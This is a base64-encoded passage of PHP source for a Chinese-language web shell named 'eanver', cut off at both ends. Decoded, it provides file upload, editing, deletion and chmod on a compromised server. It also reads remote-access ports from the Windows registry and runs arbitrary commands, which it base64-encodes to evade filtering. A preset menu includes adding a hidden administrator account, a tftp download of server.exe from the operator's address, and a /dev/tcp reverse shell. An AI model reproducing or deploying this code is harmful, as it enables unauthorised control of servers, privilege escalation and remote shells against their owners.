CWNzc19qcygiMiIpOwoJaWYoIWVtcHR5KCRfUE9TVFsndXBsb2FkdCddKSl7CgkJZWNobyBAY29weSgkX0ZJTEVTWyd1cGZpbGV0J11bJ3RtcF9uYW1lJ10sc3RyX3BhdGgoJHAuJy8nLiRfRklMRVNbJ3VwZmlsZXQnXVsnbmFtZSddKSkgPyBodG1sX2EoIj9lYW52ZXI9bWFpbiIsJF9GSUxFU1sndXBmaWxldCddWyduYW1lJ10uJyAnLiRtc2dbMl0pIDogbXNnKCRtc2dbM10pOwoJCWRpZSgnPG1ldGEgaHR0cC1lcXVpdj0icmVmcmVzaCIgY29udGVudD0iMTtVUkw9P2VhbnZlcj1tYWluJnBhdGg9Jy51cmxlbmNvZGUoJHApLiciPicpOwoJfQoJaWYoIWVtcHR5KCRfR0VUWydyZWRpciddKSl7CiAgICAgICAgJG5hbWU9JF9HRVRbJ25hbWUnXTsKCQkkbmV3ZGlyID0gc3RyX3BhdGgoJHAuJy8nLiRuYW1lKTsKCQlAbWtkaXIoJG5ld2RpciwwNzc3KSA/IGh0bWxfYSgiP2VhbnZlcj1tYWluIiwkbmFtZS4nICcuJG1zZ1swXSkgOiBtc2coJG1zZ1sxXSk7CgkJZGllKCc8bWV0YSBodHRwLWVxdWl2PSJyZWZyZXNoIiBjb250ZW50PSIxO1VSTD0/ZWFudmVyPW1haW4mcGF0aD0nLnVybGVuY29kZSgkcCkuJyI+Jyk7Cgl9CgoJaWYoIWVtcHR5KCRfR0VUWydyZWZpbGUnXSkpewogICAgICAgICRuYW1lPSRfR0VUWyduYW1lJ107CgkJJGpzcGF0aD11cmxlbmNvZGUoJHAuJy8nLiRuYW1lKTsKCQkkcHAgPSB1cmxlbmNvZGUoJHApOwoJCSRwID0gc3RyX3BhdGgoJHAuJy8nLiRuYW1lKTsKCQkkRklMRV9DT0RFID0gIiI7CgkJJGNoYXJzZXQ9ICdHQjIzMTInOwogICAgICAgICRGSUxFX1RJTUUgPWRhdGUoJ1ktbS1kIEg6aTpzJyx0aW1lKCkrMzYwMCo4KTsKCQlpZihAZmlsZV9leGlzdHMoJHApKSBlY2hvICflj5HnjrDnm67lvZXkuIvmnIki5ZCM5ZCNIuaWh+S7tjxicj4nOwoJfWVsc2V7CgkJJGpzcGF0aD11cmxlbmNvZGUoJHApOwoJCSRGSUxFX1RJTUUgPSBkYXRlKCdZLW0tZCBIOmk6cycsZmlsZW10aW1lKCRwKSk7CiAgICAgICAgJEZJTEVfQ09ERT1AZmlsZV9nZXRfY29udGVudHMoJHApOwoJICAgICBpZiAoc3Vic3RyKFBIUF9WRVJTSU9OLDAsMSk+PTUpewogICAgICAgICAgICBpZihlbXB0eSgkX0dFVFsnY2hhcnNldCddKSl7CgkJCSAgIGlmKFRlc3RVdGY4KCRGSUxFX0NPREUpPjEpeyRjaGFyc2V0PSAnZ2IyMzEyJzskRklMRV9DT0RFID0gaWNvbnYoImdiMjMxMiIsImdiMjMxMi8vSUdOT1JFIiwkRklMRV9DT0RFKTt9ZWxzZXskY2hhcnNldD0gJ0dCMjMxMic7fQoJCQkgIH1lbHNlewoJCQkgICBpZigkX0dFVFsnY2hhcnNldCddPT0nR0IyMzEyJyl7JGNoYXJzZXQ9ICdHQjIzMTInO31lbHNleyRjaGFyc2V0PSAkX0dFVFsnY2hhcnNldCddOyRGSUxFX0NPREUgPSBpY29udigkX0dFVFsnY2hhcnNldCddLCJnYjIzMTIvL0lHTk9SRSIsJEZJTEVfQ09ERSk7fQoJCQkgIH0KCQkgIH0KICAgICAgICAkRklMRV9DT0RFID0gaHRtbHNwZWNpYWxjaGFycygkRklMRV9DT0RFKTsKCX0KcHJpbnQ8PDxFTkQKPGRpdiBjbGFzcz0iYWN0YWxsIj7mn6Xmib7lhoXlrrk6IDxpbnB1dCBuYW1lPSJzZWFyY2hzIiB0eXBlPSJ0ZXh0IiB2YWx1ZT0ieyRkaW19IiBzdHlsZT0id2lkdGg6NTAwcHg7Ij4KPGlucHV0IHR5cGU9ImJ1dHRvbiIgdmFsdWU9IuafpeaJviIgb25jbGljaz0ic2VhcmNoKHNlYXJjaHMudmFsdWUpIj48L2Rpdj4KPGZvcm0gbWV0aG9kPSdQT1NUJyBpZD0iZWRpdG9yIiAgYWN0aW9uPSc/ZWFudmVyPW1haW4mcGF0aD17JHBwfSc+CjxkaXYgY2xhc3M9ImFjdGFsbCI+CjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJuZXdmaWxlIiAgaWQ9Im5ld2ZpbGUiIHZhbHVlPSJ7JHB9IiBzdHlsZT0id2lkdGg6NzUwcHg7Ij7mjIflrprnvJbnoIHvvJo8aW5wdXQgbmFtZT0iY2hhcnNldCIgaWQ9ImNoYXJzZXQiIHZhbHVlPSJ7JGNoYXJzZXR9IiBUeXBlPSJ0ZXh0IiBzdHlsZT0id2lkdGg6ODBweDsiIG9ua2V5ZG93bj0iaWYoZXZlbnQua2V5Q29kZT09MTMpd2luZG93LmxvY2F0aW9uPSc/ZWFudmVyPWVkaXRyJnA9eyRqc3BhdGh9JmNoYXJzZXQ9Jyt0aGlzLnZhbHVlOyI+CjxpbnB1dCB0eXBlPSJidXR0b24iIHZhbHVlPSLpgInmi6kiIG9uY2xpY2s9IndpbmRvdy5sb2NhdGlvbj0nP2VhbnZlcj1lZGl0ciZwPXskanNwYXRofSZjaGFyc2V0PScrdGhpcy5mb3JtLmNoYXJzZXQudmFsdWU7IiBzdHlsZT0id2lkdGg6NTBweDsiPiAKRU5EOwpodG1sX3NlbGVjdChhcnJheSgiR0IyMzEyIiA9PiAiR0IyMzEyIiwiZ2IyMzEyIiA9PiAiZ2IyMzEyIiwiQklHNSIgPT4gIkJJRzUiLCJFVUMtS1IiID0+ICJFVUMtS1IiLCJFVUMtSlAiID0+ICJFVUMtSlAiLCJTSElGVC1KSVMiID0+ICJTSElGVC1KSVMiLCJXSU5ET1dTLTg3NCIgPT4gIldJTkRPV1MtODc0IiwiSVNPLTg4NTktMSIgPT4gIklTTy04ODU5LTEiKSwkY2hhcnNldCwib25jaGFuZ2U9XCJ3aW5kb3cubG9jYXRpb249Jz9lYW52ZXI9ZWRpdHImcD17JGpzcGF0aH0mY2hhcnNldD0nK29wdGlvbnNbc2VsZWN0ZWRJbmRleF0udmFsdWU7XCIiKTsKcHJpbnQ8PDxFTkQKPC9kaXY+CjxkaXYgY2xhc3M9ImFjdGFsbCI+PHRleHRhcmVhIG5hbWU9InR4dCIgc3R5bGU9IndpZHRoOjEwMCU7aGVpZ2h0OjM4MHB4OyI+eyRGSUxFX0NPREV9PC90ZXh0YXJlYT48L2Rpdj4KPGRpdiBjbGFzcz0iYWN0YWxsIj7mlofku7bkv67mlLnml7bpl7QgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InRpbWUiIGlkPSJtdGltZSIgdmFsdWU9InskRklMRV9USU1FfSIgc3R5bGU9IndpZHRoOjE1MHB4OyI+IDxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0iYmluIiB2YWx1ZT0id2IrIiBzaXplPSIiIGNoZWNrZWQ+5Lul5LqM6L+b5Yi25b2i5byP5L+d5a2Y5paH5Lu2KOW7uuiuruS9v+eUqCk8L2Rpdj4KPGRpdiBjbGFzcz0iYWN0YWxsIj48aW5wdXQgdHlwZT0iYnV0dG9uIiB2YWx1ZT0i5L+d5a2YIiBvbmNsaWNrPSJDaGVja0RhdGUoKTsiIHN0eWxlPSJ3aWR0aDo4MHB4OyI+IDxpbnB1dCBuYW1lPSdyZXNldCcgdHlwZT0ncmVzZXQnIHZhbHVlPSfph43nva4nPiAKPGlucHV0IHR5cGU9ImJ1dHRvbiIgdmFsdWU9Iui/lOWbniIgb25jbGljaz0id2luZG93LmxvY2F0aW9uPSc/ZWFudmVyPW1haW4mcGF0aD17JHBwfSc7IiBzdHlsZT0id2lkdGg6ODBweDsiPjwvZGl2Pgo8L2Zvcm0+CkVORDsKCWJyZWFrOwoJCgljYXNlICJyZW5hbWUiOgoJaHRtbF9uKCI8dHI+PHRkPiIpOwoJJG5ld25hbWUgPSB1cmxkZWNvZGUoJHBwKS4nLycudXJsZW5jb2RlKCRfR0VUWyduZXduYW1lJ10pOwoJQHJlbmFtZSgkcCwkbmV3bmFtZSkgPyBodG1sX2EoIj9lYW52ZXI9bWFpbiZwYXRoPSRwcCIsdXJsZW5jb2RlKCRfR0VUWyduZXduYW1lJ10pLicgJy4kbXNnWzRdKSA6IG1zZygkbXNnWzVdKTsKCWRpZSgnPG1ldGEgaHR0cC1lcXVpdj0icmVmcmVzaCIgY29udGVudD0iMTtVUkw9P2VhbnZlcj1tYWluJnBhdGg9Jy4kcHAuJyI+Jyk7CglicmVhazsKCQoJY2FzZSAiZGVsdHJlZSI6CglodG1sX24oIjx0cj48dGQ+Iik7Cglkb19kZWx0cmVlKCRwKSA/IGh0bWxfYSgiP2VhbnZlcj1tYWluJnBhdGg9JHBwIiwkcC4nICcuJG1zZ1s2XSkgOiBtc2coJG1zZ1s3XSk7CglkaWUoJzxtZXRhIGh0dHAtZXF1aXY9InJlZnJlc2giIGNvbnRlbnQ9IjE7VVJMPT9lYW52ZXI9bWFpbiZwYXRoPScuJHBwLiciPicpOwoJYnJlYWs7CgkKCWNhc2UgImRlbCI6CglodG1sX24oIjx0cj48dGQ+Iik7CglAdW5saW5rKCRwKSA/IGh0bWxfYSgiP2VhbnZlcj1tYWluJnBhdGg9JHBwIiwkcC4nICcuJG1zZ1s2XSkgOiBtc2coJG1zZ1s3XSk7CglkaWUoJzxtZXRhIGh0dHAtZXF1aXY9InJlZnJlc2giIGNvbnRlbnQ9IjE7VVJMPT9lYW52ZXI9bWFpbiZwYXRoPScuJHBwLiciPicpOwoJYnJlYWs7CgkKCWNhc2UgImNvcHkiOgoJaHRtbF9uKCI8dHI+PHRkPiIpOwoJJG5ld3BhdGggPSBleHBsb2RlKCcvJywkX0dFVFsnbmV3Y29weSddKTsKCSRwYXRoclswXSA9ICRuZXdwYXRoWzBdOwoJZm9yKCRpPTE7JGkgPCBjb3VudCgkbmV3cGF0aCk7JGkrKyl7CgkJJHBhdGhyW10gPSB1cmxlbmNvZGUoJG5ld3BhdGhbJGldKTsKCX0KCSRuZXdjb3B5ID0gaW1wbG9kZSgnLycsJHBhdGhyKTsKCUBjb3B5KCRwLCRuZXdjb3B5KSA/IGh0bWxfYSgiP2VhbnZlcj1tYWluJnBhdGg9JHBwIiwkbmV3Y29weS4nICcuJG1zZ1s0XSkgOiBtc2coJG1zZ1s1XSk7CglkaWUoJzxtZXRhIGh0dHAtZXF1aXY9InJlZnJlc2giIGNvbnRlbnQ9IjE7VVJMPT9lYW52ZXI9bWFpbiZwYXRoPScuJHBwLiciPicpOwoJYnJlYWs7CgkKCWNhc2UgInBlcm0iOgoJaHRtbF9uKCI8Zm9ybSBtZXRob2Q9J1BPU1QnPjx0cj48dGQ+Ii4kcC4nIOWxnuaAp+S4ujogJyk7CglpZihpc19kaXIoJHApKXsKCQlodG1sX3NlbGVjdChhcnJheSgiMDc3NyIgPT4gIjA3NzciLCIwNzU1IiA9PiAiMDc1NSIsIjA1NTUiID0+ICIwNTU1IiksJF9HRVRbJ2NobW9kJ10pOwoJfWVsc2V7CgkJaHRtbF9zZWxlY3QoYXJyYXkoIjA2NjYiID0+ICIwNjY2IiwiMDY0NCIgPT4gIjA2NDQiLCIwNDQ0IiA9PiAiMDQ0NCIpLCRfR0VUWydjaG1vZCddKTsKCX0KCWh0bWxfaW5wdXQoInN1Ym1pdCIsInNhdmUiLCLkv67mlLkiKTsKCWJhY2soKTsKCWlmKCRfUE9TVFsnY2xhc3MnXSl7CgkJc3dpdGNoKCRfUE9TVFsnY2xhc3MnXSl7CgkJCWNhc2UgIjA3NzciOiAkY2hhbmdlID0gQGNobW9kKCRwLDA3NzcpOyBicmVhazsKCQkJY2FzZSAiMDc1NSI6ICRjaGFuZ2UgPSBAY2htb2QoJHAsMDc1NSk7IGJyZWFrOwoJCQljYXNlICIwNTU1IjogJGNoYW5nZSA9IEBjaG1vZCgkcCwwNTU1KTsgYnJlYWs7CgkJCWNhc2UgIjA2NjYiOiAkY2hhbmdlID0gQGNobW9kKCRwLDA2NjYpOyBicmVhazsKCQkJY2FzZSAiMDY0NCI6ICRjaGFuZ2UgPSBAY2htb2QoJHAsMDY0NCk7IGJyZWFrOwoJCQljYXNlICIwNDQ0IjogJGNoYW5nZSA9IEBjaG1vZCgkcCwwNDQ0KTsgYnJlYWs7CgkJfQoJCSRjaGFuZ2UgPyBodG1sX2EoIj9lYW52ZXI9bWFpbiZwYXRoPSRwcCIsJG1zZ1s0XSkgOiBtc2coJG1zZ1s1XSk7CgkJZGllKCc8bWV0YSBodHRwLWVxdWl2PSJyZWZyZXNoIiBjb250ZW50PSIxO1VSTD0/ZWFudmVyPW1haW4mcGF0aD0nLiRwcC4nIj4nKTsKCX0KCWh0bWxfbigiPC90ZD48L3RyPjwvZm9ybT4iKTsKCWJyZWFrOwoKICAgIGNhc2UgImluZm9fZiI6CgpmdW5jdGlvbiBJbmZvX0NmZygkdmFybmFtZSl7CnN3aXRjaCgkcmVzdWx0ID0gZ2V0X2NmZ192YXIoJHZhcm5hbWUpKXsKCWNhc2UgMDpyZXR1cm4gIk5vIjticmVhazsKCWNhc2UgMTpyZXR1cm4gIlllcyI7YnJlYWs7CglkZWZhdWx0OnJldHVybiAkcmVzdWx0O2JyZWFrO319CmZ1bmN0aW9uIEluZm9fRnVuCigkZnVuTmFtZSl7cmV0dXJuKGZhbHNlICE9PWZ1bmN0aW9uX2V4aXN0cygkZnVuTmFtZSkpID8gIlllcyIgOiAiTm8iO30KCgoKJGRpc19mdW5jID0gZ2V0X2NmZ192YXIoImRpc2FibGVfZnVuY3Rpb25zIik7CgokdXBzaXplID0gZ2V0X2NmZ192YXIoImZpbGVfdXBsb2FkcyIpID8gZ2V0X2NmZ192YXIoInVwbG9hZF9tYXhfZmlsZXNpemUiKSA6ICLkuI3lhYHorrjkuIrkvKAiOwoKJGFkbWlubWFpbCA9IChpc3NldCgkX1NFUlZFUlsnU0VSVkVSX0FETUlOJ10pKSA/ICI8YSBocmVmPVwibWFpbHRvOiIuJF9TRVJWRVJbJ1NFUlZFUl9BRE1JTiddLiJcIj4iLiRfU0VSVkVSClsnU0VSVkVSX0FETUlOJ10uIjwvYT4iIDogIjxhIGhyZWY9XCJtYWlsdG86Ii5nZXRfY2ZnX3Zhcigic2VuZG1haWxfZnJvbSIpLiJcIj4iLmdldF9jZmdfdmFyKCJzZW5kbWFpbF9mcm9tIikuIjwvYT4iOwoKaWYoJGRpc19mdW5jID09ICIiKQp7JGRpc19mdW5jID0gIk5vIjsKfQplbHNlewoJJGRpc19mdW5jID0gc3RyX3JlcGxhY2UoIiAiLCI8YnI+IiwkZGlzX2Z1bmMpOwoKCSRkaXNfZnVuYyA9IHN0cl9yZXBsYWNlKCIsIiwiPGJyPiIsJGRpc19mdW5jKTsKCn0KCiRwaHBpbmZvID0gKCFlcmVnaSgicGhwaW5mbyIsJGRpc19mdW5jKSkgPyAiWWVzIiA6ICJObyI7CgokaW5mbyA9IGFycmF5KAphcnJheSgi5pyN5Yqh5Zmo5pe26Ze0L+WMl+S6rOaXtumXtCIsZGF0ZSgiWeW5tG3mnIhk5pelIGg6aTpzIix0aW1lKCkpLiImbmJzcDsvJm5ic3A7Ii5nbWRhdGUoIlnlubRu5pyIauaXpSBIOmk6cyIsdGltZSgpKzgqMzYwMCkpLAphcnJheSgi5pyN5Yqh5Zmo5Z+f5ZCNOuerr+WPoyhpcCkiLCI8YSBocmVmPVwiaHR0cDovLyIuJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10uIlwiIAp0YXJnZXQ9XCJfYmxhbmtcIj4iLiRfU0VSVkVSWydTRVJWRVJfTkFNRSddLiI8L2E+OiIuJF9TRVJWRVJbJ1NFUlZFUl9QT1JUJ10uIiAoICIuZ2V0aG9zdGJ5bmFtZSgkX1NFUlZFUlsnU0VSVkVSX05BTUUnXSkuIiApIiksCmFycmF5KCLmnI3liqHlmajmk43kvZzns7vnu58o5paH5a2X57yWCueggSkiLFBIUF9PUy4iICgiLiRfU0VSVkVSWydIVFRQX0FDQ0VQVF9MQU5HVUFHRSddLiIpIiksCmFycmF5KCLmnI3liqHlmajop6Por5HlvJXmk44iLCRfU0VSVkVSWydTRVJWRVJfU09GVFdBUkUnXSksCmFycmF5KCLkvaDnmoRJUCIsZ2V0ZW52KCdSRU1PVEVfQUREUicpKSwKYXJyYXkoIlBIUOi/kOihjOaWueW8jygK54mI5pysKSIsc3RydG91cHBlcihwaHBfc2FwaV9uYW1lKCkpLiIoIi5QSFBfVkVSU0lPTi4iKSAvIOWuieWFqOaooeW8jzoiLkluZm9fQ2ZnKCJzYWZlbW9kZSIpKSwKYXJyYXkoIuacjeWKoeWZqOeuoeeQhuWRmCIsJGFkbWlubWFpbCksCmFycmF5KCLmnKzmlofku7bot6/lvoQiLF9fRklMRV9fKSwKYXJyYXkoIuWFgeiuuOS9v+eUqFVSTOaJk+W8gOaWh+S7tlthbGxvd191cmxfZm9wZW5dIixJbmZvX0NmZygiYWxsb3dfdXJsX2ZvcGVuIikpLAphcnJheSgi5YWB6K645Yqo5oCB5Yqg6L296ZO+5o6l5bqTW2VuYWJsZV9kbF0iLEluZm9fQ2ZnKCJlbmFibGVfZGwiKSksCmFycmF5KCLmmL7npLrplJnor6/kv6Hmga9bZGlzcGxheV9lcnJvcnNdIixJbmZvX0NmZygiZGlzcGxheV9lcnJvcnMiKSksCmFycmF5KCLoh6rlrprkuYnlhajlsYDlj5jph49bcmVnaXN0ZXJfZ2xvYmFsc10iLEluZm9fQ2ZnKCJyZWdpc3Rlcl9nbG9iYWxzIikpLAphcnJheSgi6Ieq5Yqo5a2X56ym5Liy6L2s5LmJW21hZ2ljX3F1b3Rlc19ncGNdIixJbmZvX0NmZygibWFnaWNfcXVvdGVzX2dwYyIpKSwKYXJyYXkoIuacgOWkmuWGheWtmOS9v+eUqOmHj1ttZW1vcnlfbGltaXRdIixJbmZvX0NmZygibWVtb3J5X2xpbWl0IikpLAphcnJheSgiUE9TVOacgOWkp+Wtl+iKgltwb3N0X21heF9zaXplXSIsSW5mb19DZmcoInBvc3RfbWF4X3NpemUiKSksCmFycmF5KCLlhYHorrjmnIDlpKfkuIrkvKBbdXBsb2FkX21heF9maWxlc2l6ZV0iLCR1cHNpemUpLAphcnJheSgi56iL5bqP5pyA6ZW/6L+Q6KGM5pe26Ze0W21heF9leGVjdXRpb25fdGltZV0iLEluZm9fQ2ZnKCJtYXhfZXhlY3V0aW9uX3RpbWUiKS4i56eSIiksCmFycmF5KCLnpoHnlKjlh73mlbBbZGlzYWJsZV9mdW5jdGlvbnNdIiwkZGlzX2Z1bmMpLAphcnJheSgi56iL5bqP5L+h5oGv5Ye95pWwW3BocGluZm8oKV0iLCRwaHBpbmZvKSwKYXJyYXkoIuebruWJjei/mOacieepuuS9meepuumXtGRpc2tmcmVlc3BhY2UiLGludHZhbChkaXNrZnJlZXNwYWNlKCIuIikgLyAoMTAyNCAqIDEwMjQpKS4nTWInKSwKYXJyYXkoIkda5Y6L57yp5paH5Lu25pSv5oyBW3psaWJdIixJbmZvX0Z1bigiZ3pjbG9zZSIpKSwKYXJyYXkoIlpJUOWOi+e8qeaWh+S7tuaUr+aMgVtaaXBBcmNoaXZlKHBocF96aXApXSIsSW5mb19GdW4KKCJ6aXBfb3BlbiIpKSwKYXJyYXkoIklNQVDnlLXlrZDpgq7ku7bns7vnu58iLEluZm9fRnVuKCJpbWFwX2Nsb3NlIikpLAphcnJheSgiWE1M6Kej5p6QIixJbmZvX0Z1bigieG1sX3NldF9vYmplY3QiKSksCmFycmF5KCJGVFDnmbvpmYYiLEluZm9fRnVuKCJmdHBfbG9naW4iKSksCmFycmF5KCJTZXNzaW9u5pSv5oyBIixJbmZvX0Z1bgooInNlc3Npb25fc3RhcnQiKSksCmFycmF5KCJTb2NrZXTmlK/mjIEiLEluZm9fRnVuKCJmc29ja29wZW4iKSksCmFycmF5KCJNeVNRTOaVsOaNruW6kyIsSW5mb19GdW4oIm15c3FsX2Nsb3NlIikpLAphcnJheSgiTVNTUUzmlbDmja7lupMiLEluZm9fRnVuKCJtc3NxbF9jbG9zZSIpKSwKYXJyYXkoIlBvc3RncmUgU1FM5pWw5o2u5bqTIixJbmZvX0Z1bigicGdfY2xvc2UiKSksCmFycmF5KCJTUUxpdGXmlbDmja7lupMiLEluZm9fRnVuKCJzcWxpdGVfY2xvc2UiKSksCmFycmF5KCJPcmFjbGXmlbDmja7lupMiLEluZm9fRnVuKCJvcmFfY2xvc2UiKSksCmFycmF5KCJPcmFjbGUgOOaVsOaNruW6kyIsSW5mb19GdW4oIk9DSUxvZ09mZiIpKSwKYXJyYXkoIlN5QmFzZeaVsOaNruW6kyIsSW5mb19GdW4oInN5YmFzZV9jbG9zZSIpKSwKYXJyYXkoIkh5cGVyd2F2ZeaVsOaNruW6kyIsSW5mb19GdW4oImh3X2Nsb3NlIikpLAphcnJheSgiSW5mb3JNaXjmlbDmja7lupMiLEluZm9fRnVuKCJpZnhfY2xvc2UiKSksCmFycmF5KCJGaWxlUHJv5pWw5o2u5bqTIixJbmZvX0Z1bigiZmlsZXByb19maWVsZGNvdW50IikpLAphcnJheSgiREJBL0RCTei/nuaOpSIsSW5mb19GdW4oImRiYV9jbG9zZSIpLiImbmJzcDsvJm5ic3A7Ii5JbmZvX0Z1bigiZGJtY2xvc2UiKSksCmFycmF5KCJPREJDL2RCQVNF6L+e5o6lIixJbmZvX0Z1bigib2RiY19jbG9zZSIpLiImbmJzcDsvJm5ic3A7Ii5JbmZvX0Z1bigiZGJhc2VfY2xvc2UiKSksCmFycmF5KCJQUkVM55u45a656K+t5rOVW1BDUkVdIixJbmZvX0Z1bigicHJlZ19tYXRjaCIpKSwKYXJyYXkoIlBERuaUr+aMgSIsSW5mb19GdW4oInBkZl9jbG9zZSIpKSwKYXJyYXkoIuWbvuW9ouWkhOeQhltHRCBMaWJyYXJ5XSIsSW5mb19GdW4oImltYWdlbGluZSIpKSwKYXJyYXkoIlNOTVDnvZHnu5znrqHnkIbljY/orq4iLEluZm9fRnVuCigic25tcGdldCIpKSwpOwoKZWNobyAnPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiPic7CmZvcigkaSA9IDA7JGkgPCBjb3VudCgkaW5mbyk7JGkrKyl7ZWNobyAnPHRyPjx0ZCB3aWR0aD0iNDAlIj4nLiRpbmZvWyRpXVswXS4nPC90ZD48dGQ+Jy4kaW5mb1skaV1bMV0uJzwvdGQ+PC90cj4nLiJcbiI7fQoKCiRzaGVsbCA9IG5ldyBDT00oIldTY3JpcHQuU2hlbGwiKSBvciBkaWUoIlRoaXMgdGhpbmcgcmVxdWlyZXMgV2luZG93cyBTY3JpcHRpbmcgSG9zdCIpOwp0cnl7JHJlZ2lzdHJ5X3Byb3h5c3RyaW5nID0gJHNoZWxsLT5SZWdSZWFkKCJIS0VZX0xPQ0FMX01BQ0hJTkVcXFNZU1RFTVxcQ3VycmVudENvbnRyb2xTZXRcXENvbnRyb2xcXFRlcm1pbmFsIFNlcnZlclxcV2RzXFxyZHB3ZFxcVGRzXFx0Y3BcUG9ydE51bWJlciIpOwokVGVsbmV0ID0gJHNoZWxsLT5SZWdSZWFkKCJIS0VZX0xPQ0FMX01BQ0hJTkVcXFNPRlRXQVJFXFxNaWNyb3NvZnRcXFRlbG5ldFNlcnZlclxcMS4wXFxUZWxuZXRQb3J0Iik7CiRQY0FueXdoZXJlID0gJHNoZWxsLT5SZWdSZWFkKCJIS0VZX0xPQ0FMX01BQ0hJTkVcXFNPRlRXQVJFXFxTeW1hbnRlY1xccGNBbnl3aGVyZVxcQ3VycmVudFZlcnNpb25cXFN5c3RlbVxcVENQSVBEYXRhUG9ydCIpOwp9Y2F0Y2goRXhjZXB0aW9uICRlKXt9CiAgICBlY2hvICc8dHI+PHRkIHdpZHRoPSI0MCUiPlRlcm1pbmFsIFNlcnZpY2Xnq6/lj6PkuLo8L3RkPjx0ZD4nLiRyZWdpc3RyeV9wcm94eXN0cmluZy4nPC90ZD48L3RyPicuIlxuIjsKCWVjaG8gJzx0cj48dGQgd2lkdGg9IjQwJSI+VGVsbmV056uv5Y+j5Li6PC90ZD48dGQ+Jy4kVGVsbmV0Lic8L3RkPjwvdHI+Jy4iXG4iOwoJZWNobyAnPHRyPjx0ZCB3aWR0aD0iNDAlIj5QY0FueXdoZXJl56uv5Y+j5Li6PC90ZD48dGQ+Jy4kUGNBbnl3aGVyZS4nPC90ZD48L3RyPicuIlxuIjsKCWVjaG8gJzwvdGFibGU+JzsKYnJlYWs7CgogICAgY2FzZSAiY21kIjoKCSRyZXMgPSAn5Zue5pi+56qX5Y+jJzsKCSRjbWQgPSAnZGlyJzsKCWlmKCFlbXB0eSgkX1BPU1RbJ2NtZCddKSl7JHJlcyA9IEV4ZWNfUnVuKGJhc2U2NF9kZWNvZGUoJF9QT1NUWydjbWQnXSkpOyRjbWQgPSBodG1sc3BlY2lhbGNoYXJzKGJhc2U2NF9kZWNvZGUoJF9QT1NUWydjbWQnXSkpO30KcHJpbnQ8PDxFTkQKPHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+CmZ1bmN0aW9uIHNGdWxsKGkpewoJU3RyID0gbmV3IEFycmF5KDExKTsKCVN0clswXSA9ICJkaXIiOwoJU3RyWzFdID0gIm5ldCB1c2VyIHdlYi1zaGVsbCB3ZWItc2hlbGwgL2FkZCI7CglTdHJbMl0gPSAibmV0IGxvY2FsZ3JvdXAgYWRtaW5pc3RyYXRvcnMgd2ViLXNoZWxsIC9hZGQiOwoJU3RyWzNdID0gIm5ldHN0YXQgLWFubyI7CglTdHJbNF0gPSAiaXBjb25maWciOwoJU3RyWzVdID0gImNvcHkgYzpcXDEucGhwIGQ6XFwyLnBocCI7CglTdHJbNl0gPSAidGZ0cCAtaSB7JF9TRVJWRVJbIlJFTU9URV9BRERSIl19IGdldCBzZXJ2ZXIuZXhlIGM6XFxzZXJ2ZXIuZXhlIjsKCVN0cls3XSA9ICIwPCYxMjM7ZXhlYyAxMjM8Pi9kZXYvdGNwL3skX1NFUlZFUlsiUkVNT1RFX0FERFIiXX0vMTI2NjY7IHNoIDwmMTIzID4mMTIzIDI+JjEyMyI7CglTdHJbOF0gPSAidGFza2xpc3QgLXN2YyI7Cglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnY21kJykudmFsdWUgPSBTdHJbaV07CglyZXR1cm4gdHJ1ZTsKfQpFTkQ7Cmh0bWxfYmFzZSgpOwpwcmludDw8PEVORApmdW5jdGlvbiBTdWJtaXRVcmwoKXsKCQkJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2NtZCcpLnZhbHVlID0gYmFzZTY0ZW5jb2RlKGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdjbWQnKS52YWx1ZSk7CgkJCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdnZm9ybScpLnN1Ym1pdCgpOwp9Cjwvc2NyaXB0Pgo8Zm9ybSBtZXRob2Q9IlBPU1QiIG5hbWU9Imdmb3JtIiBpZD0iZ2Zvcm0iID48Y2VudGVyPjxkaXYgY2xhc3M9ImFjdGFsbCI+5omn6KGM5ZG95Luk5paw5aKe5b6I5aSa6ZqQ6JeP5Ye95pWw77yM6L+Z5Liq5omn6KGM5LiN5LqG77yM6Zmk5LqG5Y+N5by55Ye65p2l77yM57ud5a+55rKh5pyJ5Lu75L2V5bel5YW36IO95omn6KGM5ZG95Luk77yB5aSW5Yqg5L2/55SoQkFTRTY05Yqg5a+G5o+Q5Lqk77yM6Ziy5q2i6KKr5oum77yI5bCP57uG6IqC77yM5aSn5oiQ5bCx77yJPC9kaXY+PGRpdiBjbGFzcz0iYWN0YWxsIj4K5ZG95Luk5Y+C5pWwIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJjbWQiIGlkPSJjbWQiIHZhbHVlPSJ7JGNtZH0iIG9ua2V5ZG93bj0iaWYoZXZlbnQua2V5Q29kZT09MTMpU3VibWl0VXJsKCk7IiBzdHlsZT0id2lkdGg6Mzk5cHg7Ij4KPHNlbGVjdCBvbmNoYW5nZT0ncmV0dXJuIHNGdWxsKG9wdGlvbnNbc2VsZWN0ZWRJbmRleF0udmFsdWUpJz4KPG9wdGlvbiB2YWx1ZT0iMCIgc2VsZWN0ZWQ+LS3lkb3ku6Tpm4blkIgtLTwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIxIj7mt7vliqDnrqHnkIblkZg8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMiI+6K6+5Li6566h55CG57uEPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjMiPuafpeeci+err+WPozwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSI0Ij7mn6XnnIvlnLDlnYA8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iNSI+5aSN5Yi25paH5Lu2PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjYiPkZUUOS4i+i9vTwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSI3Ij5MaW51eOWPjeW8uTwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSI4Ij7mn6XnnIvov5vnqIs8L29wdGlvbj4KPC9zZWxlY3Q+Cgk8aW5wdXQgdHlwZT0iYnV0dG9uIiB2YWx1ZT0i5omn6KGMIiBvbmNsaWNrPSJTdWJtaXRVcmwoKTsiIHN0eWxlPSJ3aWR0aDo4MHB4OyI+CjwvZGl2Pgo8ZGl2IGNsYXN